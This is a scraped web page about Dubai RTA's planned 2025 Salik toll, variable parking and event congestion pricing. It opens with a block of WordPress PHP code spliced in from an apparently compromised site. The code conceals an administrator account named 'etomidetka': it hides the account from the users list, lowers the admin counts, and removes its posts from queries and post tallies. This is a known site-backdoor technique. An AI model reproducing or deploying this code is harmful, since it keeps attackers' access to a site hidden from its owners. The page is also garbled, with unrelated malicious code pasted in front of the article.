//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); RTA Dubai to Introduce New Toll and Parking Pricing System in 2025
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RTA Dubai to Introduce New Toll and Parking Pricing System in 2025

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RTA Dubai to Introduce New Toll and Parking Pricing System in 2025

RTA Dubai to Introduce New Toll and Parking Pricing System in 2025. Dubai Roads and Transport Authority (RTA) is gearing up to implement a revamped toll and parking pricing structure aimed at enhancing traffic flow, reducing congestion, and promoting sustainable urban mobility.

These new measures, set to roll out in phases starting in 2025, encompass variable road tolls, parking fees, and congestion pricing in high-demand zones during major events.

Salik Road Toll Pricing: A Dynamic Approach

The widely used Salik road toll system will adopt a variable pricing model beginning January 2025. This system introduces toll-free travel during late-night hours (1 am to 6 am) to encourage off-peak commuting.

Details of the new toll structure:

  • Peak Hours (Weekdays: 6 am–10 am, 4 pm–8 pm): Dh 6 per trip.
  • Off-Peak Hours (10 am–4 pm, 8 pm–1 am): Dh 4 per trip.
  • Sundays (excluding public holidays or major events): Dh 4 per trip throughout the day, with toll-free travel from 1 am to 6 am.

This dynamic pricing is designed to alleviate bottlenecks during peak hours while offering incentives for off-peak travel.

Variable Parking Fees: Optimizing Urban Parking Usage

From March 2025, Dubai will implement variable parking tariffs to better manage parking demand and prioritize availability in high-traffic areas.

Key aspects of the new parking fees:

Premium Parking Spaces:

  • Morning and Evening Peak Hours (8 am–10 am, 4 pm–8 pm): Dh 6 per hour.
    • Off-Peak Hours (10 am–4 pm, 8 pm–10 pm): Dh 4 per hour.
    • Free Parking: From 10 pm to 8 am and all day on Sundays.

Standard Parking Spaces:

    • Peak Hours: Dh 4 per hour.
    • Off-Peak Hours: Charges remain unchanged.

This tiered approach ensures fair usage of premium parking areas and incentivizes commuters to utilize public transport or off-peak parking.

Congestion Pricing Near Event Zones

Starting February 2025, a Congestion Pricing Policy will come into effect near major event venues to discourage excessive car usage in crowded areas.

Details include:

  • Public Parking Near Event Zones: Dh 25 per hour during major events.
  • Initial Implementation: Dubai World Trade Centre and similar venues hosting large-scale events.

This policy supports traffic decongestion and encourages alternative transportation options, such as the Dubai Metro, buses, or carpooling during significant events.

Impact and Benefits

The RTA new pricing policies represent a strategic shift toward smarter urban traffic management. By implementing variable toll and parking fees, Dubai aims to:

  • Mitigate traffic congestion during rush hours.
  • Promote the use of public transportation and carpooling.
  • Enhance the overall commuting experience for residents and visitors.

These initiatives align with Dubai’s vision of a more sustainable and efficient urban transport system, ensuring that the city remains a global leader in smart mobility solutions.

Conclusion

Residents and visitors are advised to stay updated on these changes and plan their travel accordingly to make the most of these optimized systems

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